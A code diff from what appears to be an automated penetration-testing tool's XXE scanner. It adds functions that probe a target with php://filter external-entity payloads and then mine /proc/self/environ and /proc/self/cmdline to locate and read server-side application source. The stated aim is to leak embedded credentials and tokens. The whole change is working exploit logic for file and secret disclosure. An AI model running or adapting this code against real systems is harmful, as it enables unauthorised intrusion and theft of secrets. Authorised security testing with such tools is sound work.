|
29 | 29 | from lib.core.settings import XXE_FILE_HARVEST |
30 | 30 | from lib.core.settings import XXE_HARDENED_REGEX |
31 | 31 | from lib.core.settings import XXE_IMPACT_FILES |
| 32 | +from lib.core.settings import XXE_SOURCE_NAMES |
| 33 | +from lib.core.settings import XXE_WEBROOTS |
32 | 34 | from lib.core.settings import OOB_POLL_ATTEMPTS |
33 | 35 | from lib.core.settings import OOB_POLL_DELAY |
34 | 36 | from lib.core.settings import XXE_LOCAL_DTDS |
@@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName): |
276 | 278 | return harvested |
277 | 279 |
|
278 | 280 |
|
| 281 | +def _phpFilterWorks(xml, rootName): |
| 282 | + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates |
| 283 | + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless |
| 284 | + requests for it.""" |
| 285 | + |
| 286 | + from lib.core.convert import decodeBase64 |
| 287 | + |
| 288 | + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) |
| 289 | + ent = randomStr(8, lowercase=True) |
| 290 | + subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent |
| 291 | + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) |
| 292 | + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) |
| 293 | + if match and match.group(1).strip(): |
| 294 | + try: |
| 295 | + return bool(getText(decodeBase64(match.group(1).strip())).strip()) |
| 296 | + except Exception: |
| 297 | + pass |
| 298 | + return False |
| 299 | + |
| 300 | + |
| 301 | +def _harvestSource(xml, rootName, harvested): |
| 302 | + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose |
| 303 | + server-side application SOURCE code via php://filter (source is executed, never |
| 304 | + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). |
| 305 | + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} |
| 306 | + (running script + working dir) combined with common web roots/source names, and |
| 307 | + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP |
| 308 | + target. Returns a list of (path, content, payload).""" |
| 309 | + |
| 310 | + if not _phpFilterWorks(xml, rootName): |
| 311 | + return [] |
| 312 | + |
| 313 | + byPath = dict((p, c) for p, c, _ in harvested) |
| 314 | + seen = set(getUnicode(c).strip() for c in byPath.values()) |
| 315 | + candidates = [] |
| 316 | + |
| 317 | + dirs = [] |
| 318 | + environ = getUnicode(byPath.get("/proc/self/environ", "")) |
| 319 | + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) |
| 320 | + cwd = match.group(1).strip() if match else None |
| 321 | + if cwd: |
| 322 | + dirs.append(cwd) |
| 323 | + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] |
| 324 | + |
| 325 | + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) |
| 326 | + for token in re.split(r"[\x00\s]+", cmdline): |
| 327 | + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): |
| 328 | + if token.startswith("/"): |
| 329 | + candidates.append(token) # absolute script path |
| 330 | + elif cwd: |
| 331 | + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) |
| 332 | + |
| 333 | + for directory in dirs: |
| 334 | + for name in XXE_SOURCE_NAMES: |
| 335 | + candidates.append("%s/%s" % (directory.rstrip("/"), name)) |
| 336 | + |
| 337 | + logger.info("attempting application source-code disclosure via php://filter") |
| 338 | + |
| 339 | + result = [] |
| 340 | + read = set() |
| 341 | + for path in candidates: |
| 342 | + if path in read: |
| 343 | + continue |
| 344 | + read.add(path) |
| 345 | + content, payload = _tryInbandFileRead(xml, rootName, path) |
| 346 | + if content and content.strip() and getUnicode(content).strip() not in seen: |
| 347 | + seen.add(getUnicode(content).strip()) |
| 348 | + result.append((path, content, payload)) |
| 349 | + return result |
| 350 | + |
| 351 | + |
279 | 352 | def _tryInternal(xml, rootName, baseline): |
280 | 353 | """T2 in-band: an internal general entity expands to the sentinel and is |
281 | 354 | reflected. Guarded by a negative control (sentinel absent from baseline) and |
@@ -716,7 +789,9 @@ def xxeScan(): |
716 | 789 | if harvested: |
717 | 790 | found = True |
718 | 791 | firstPath, _, firstPayload = harvested[0] |
719 | | - logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) |
| 792 | + # follow-up: server-side application source disclosure (php://filter) |
| 793 | + harvested += _harvestSource(xml, rootName, harvested) |
| 794 | + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) |
720 | 795 | _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) |
721 | 796 | saved = [] |
722 | 797 | for path, content, _ in harvested: |
|
0 commit comments